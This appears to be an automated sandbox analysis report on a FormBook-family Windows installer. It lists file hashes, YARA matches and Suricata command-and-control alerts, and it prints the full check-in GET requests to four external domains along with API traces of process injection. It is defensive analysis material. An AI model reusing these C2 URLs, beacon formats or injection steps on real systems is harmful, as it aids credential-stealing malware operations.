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jujukhanis2.1.exe

NSIS UPX Malicious Library PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 31, 2023, 7:42 a.m. Oct. 31, 2023, 7:46 a.m.
Size 369.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 4dca2433d6524869e26cda42d6aac35a
SHA256 858fa0bb526e7ea49318410817f484fff0bfadebc8da580b27fd73234974fe45
CRC32 7EA8580A
ssdeep 6144:U8LxBCXMMCGIZMMwxCGkyLS83CKuU5TCecORLr5mnZGn7jFHlhu7LJpiOjhr/n:urCGIZNwVZLRCKuUQJqLlFn7jVlILqOJ
Yara
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • PE_Header_Zero - PE File Signature
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
www.umertazkeer.com
A 103.224.212.216
103.224.212.216
www.sklm888.com
A 108.186.24.175
108.186.24.175
www.gaming-chairs-vn-vi-2885437.fyi
CNAME ssl1.prod.systemdragon.com
A 104.17.157.1
A 104.17.158.1
104.17.157.1
www.glocraze.com
CNAME glocraze.com
A 15.197.148.33
A 3.33.130.190
15.197.148.33
IP Address Status Action
103.224.212.216 Active Moloch
104.17.157.1 Active Moloch
108.186.24.175 Active Moloch
15.197.148.33 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49167 -> 103.224.212.216:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 104.17.157.1:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 108.186.24.175:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 15.197.148.33:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.umertazkeer.com/ju29/?0nGP-6=qL/w1+MBvm8GoMYX5IhFQmgMppJTUe9u/duKotMyUJF4p+ww3IubNw5rhrvFOtNFijYs9Y2C&JXULWR=RX0xlPZ8UPmL7V6P
suspicious_features GET method with no useragent header suspicious_request GET http://www.sklm888.com/ju29/?0nGP-6=n8Crfq8u97ohQJzT+GN2bIuprmrMns3qA2cyB53CLK5Nkn3ik8XJfCdpmXkpj8M2YodcTKUz&JXULWR=RX0xlPZ8UPmL7V6P
suspicious_features GET method with no useragent header suspicious_request GET http://www.gaming-chairs-vn-vi-2885437.fyi/ju29/?0nGP-6=jZmXybCgFR2uD0ejxMDWyZKNvc7QdVfFN8JL5WlE97s3Bg4Qi+fVSOqduvGFqlRkfw/fGckr&JXULWR=RX0xlPZ8UPmL7V6P
suspicious_features GET method with no useragent header suspicious_request GET http://www.glocraze.com/ju29/?0nGP-6=gDkZXs7NveHu4EW0skg7wBT+4b2V8qQlIvFf+hRei/lqZM1GklKH3GG4bPd4M6MmprPp+Vw1&JXULWR=RX0xlPZ8UPmL7V6P
request GET http://www.umertazkeer.com/ju29/?0nGP-6=qL/w1+MBvm8GoMYX5IhFQmgMppJTUe9u/duKotMyUJF4p+ww3IubNw5rhrvFOtNFijYs9Y2C&JXULWR=RX0xlPZ8UPmL7V6P
request GET http://www.sklm888.com/ju29/?0nGP-6=n8Crfq8u97ohQJzT+GN2bIuprmrMns3qA2cyB53CLK5Nkn3ik8XJfCdpmXkpj8M2YodcTKUz&JXULWR=RX0xlPZ8UPmL7V6P
request GET http://www.gaming-chairs-vn-vi-2885437.fyi/ju29/?0nGP-6=jZmXybCgFR2uD0ejxMDWyZKNvc7QdVfFN8JL5WlE97s3Bg4Qi+fVSOqduvGFqlRkfw/fGckr&JXULWR=RX0xlPZ8UPmL7V6P
request GET http://www.glocraze.com/ju29/?0nGP-6=gDkZXs7NveHu4EW0skg7wBT+4b2V8qQlIvFf+hRei/lqZM1GklKH3GG4bPd4M6MmprPp+Vw1&JXULWR=RX0xlPZ8UPmL7V6P
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2580
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73272000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004f0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00510000
allocation_type: 12289 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008b0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\ghcpaoazs.exe
section {u'size_of_data': u'0x0000d000', u'virtual_address': u'0x00037000', u'entropy': 6.895564080355565, u'name': u'.rsrc', u'virtual_size': u'0x0000ced8'} entropy 6.89556408036 description A section with a high entropy has been found
entropy 0.630303030303 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2652 called NtSetContextThread to modify thread in remote process 2732
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 1995571652
registers.esp: 1638384
registers.edi: 0
registers.eax: 4321552
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000000bc
process_identifier: 2732
1 0 0